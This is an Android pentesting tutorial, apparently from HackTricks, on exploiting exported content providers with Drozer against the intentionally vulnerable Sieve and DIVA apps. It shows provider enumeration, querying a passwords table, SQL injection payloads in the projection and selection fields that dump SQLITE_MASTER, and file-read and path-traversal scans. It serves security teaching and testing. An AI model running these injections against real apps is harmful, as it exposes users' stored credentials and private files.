# Exploiting Content Providers

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# Intro

A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**.

It has to be declared inside the _Manifest.xml_ file. Example:

```markup
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
    <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```

In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\
(_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_)

**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**

# Get info from **exposed content providers**

```
dz> run app.provider.info -a com.mwr.example.sieve 
  Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.DBContentProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
  Path Permissions:
  Path: /Keys
  Type: PATTERN_LITERAL
  Read Permission: com.mwr.example.sieve.READ_KEYS
  Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
  Read Permission: null
  Write Permission: null
  Content Provider: com.mwr.example.sieve.FileBackupProvider
  Multiprocess Allowed: True
  Grant Uri Permissions: False
```

We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_.

Drozer can **guess and try several URIs**:

```
dz> run scanner.provider.finduris -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
... 
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys 
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```

You should also check the **ContentProvider code** to search for queries:

![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)

Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:

![](<../../../.gitbook/assets/image (186).png>)

The query will be like: `content://name.of.package.class/declared_name`

# **Database-backed Content Providers**

Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.

When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_:

![](<../../../.gitbook/assets/image (187).png>)

![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>)

Because you will be able to call them

## Query content

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```

## Insert content

Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:

![](<../../../.gitbook/assets/image (188).png>)

![](<../../../.gitbook/assets/image (189).png>)

_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_

## Update content

Knowing the name of the columns you could also **modify the entries**:

![](<../../../.gitbook/assets/image (190).png>)

## Delete content

![](<../../../.gitbook/assets/image (191).png>)

## **SQL Injection**

It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:

![](<../../../.gitbook/assets/image (192).png>)

You can try to **abuse** this **parameters** to test for **SQL injections**:

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```

```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* 
FROM SQLITE_MASTER WHERE type='table';--" 
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... | 
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |
```

**Automatic SQLInjection discovery by Drozer**

```
dz> run scanner.provider.injection -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
  
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
  android_metadata
  notes
  sqlite_sequence
```

# **File System-backed Content Providers**

Content providers could be also used to **access files:**

![](<../../../.gitbook/assets/image (193).png>)

## Read **file**

You can read files from the Content Provider

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost
```

## **Path Traversal**

If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).

```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 
127.0.0.1            localhost
```

**Automatic Path Traversal discovery by Drozer**

```
dz> run scanner.provider.traversal -a com.mwr.example.sieve 
Scanning com.mwr.example.sieve... 
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider
```

# References

* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)

<details>

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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!

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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)

**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**

**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

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